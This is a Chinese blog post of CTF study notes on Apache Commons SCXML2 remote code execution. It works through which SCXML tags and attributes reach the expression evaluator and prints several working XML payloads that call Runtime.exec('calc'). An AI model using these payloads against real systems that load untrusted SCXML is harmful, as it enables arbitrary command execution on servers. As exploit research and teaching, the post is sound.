Apache SCXML2 RCE

Apache SCXML2 RCE

前言

跟着boogipop大佬学习的时候看到这篇,开始学习,但感觉是冷饭,没必要炒

同时也是Boogipop大佬出题在HDCTF中的一道

一直不知道导入什么依赖,最后在NSSCTF平台上找到这题,然后导入题目中的jar包

原理及普遍的payload

原理不说了,大体还是比较清晰的,但还是有些地方没弄懂

看文章吧

https://www.ctfiot.com/96133.html

[Apache SCXML2 RCE分析 - Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2023/04/24/Apache SCXML2 RCE分析/)

其他payload

boogipop大佬发现了很多其他的payload,对这一部分比较感兴趣,我也来看看

image-20240322162841257

说明Cond、Location、Assign、Script起码都是可以的

image-20240322163752094

但这一段为什么是调用eval不太理解

我们可以从这里写入数据

image-20240322163936470

五个最外层标签都可以下手

给出Boogipop大佬的结论

最终可用来执行命令的属性或者是标签为

  • script标签
  • expr属性
  • cond属性
  • assign标签的expr属性(归根还是expr属性)

各种尝试

script

最外层是script的逻辑最简单

被设置为了GlobalScript

然后在go后走到这里就会执行,比正常的要快执行,调试过就知道了

image-20240322164448708

然后就能提前走到evalScript

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0">
    <script>
        ''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')
    </script>
</scxml>

datamodel

子标签只接受data

image-20240322164817158

image-20240322164927628

data标签要有id和expr属性

下断点调试,发现在这里获取expr属性

image-20240322165639421

然后进入eval方法执行

于是

<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0">
    <datamodel>
        <data id="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></data>
    </datamodel>
</scxml>

final

只接受onentry和onexit两个子标签

image-20240322170427934

两个方法都会调用readExecutableContext函数

所以他们是可以互相替代的

接着继续看onentry和onexit接受的子标签

image-20240322174827660

image-20240322174632696

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0">
        <final>
            <onentry>
                <script>
                    ''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')
                </script>
                <assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')"/>
                <if cond="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')"></if>
                <log expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')"></log>
                <send idlocation="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')"></send>
                <cancel sendidexpr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')"></cancel>
                <foreach array="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')" item="a"></foreach>
            </onentry>
        </final>
</scxml>

每个都行,嘻嘻,自己分析吧

parallel

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0">
    <parallel>
        <invoke src="test" content="test" id="flag">
            <param name="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></param>
        </invoke>
    </parallel>
</scxml>

state

没啥好说的了,但是onentry和onexit好像并不能进行替换,onexit不能成功

finally

冷饭硬炒,没啥意思,随便看看吧

reference

[Apache SCXML2 RCE分析 - Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2023/04/24/Apache SCXML2 RCE分析/)


Apache SCXML2 RCE
https://zer0peach.github.io/2024/03/22/Apache-SCXML2-RCE/
作者
Zer0peach
发布于
2024年3月22日
许可协议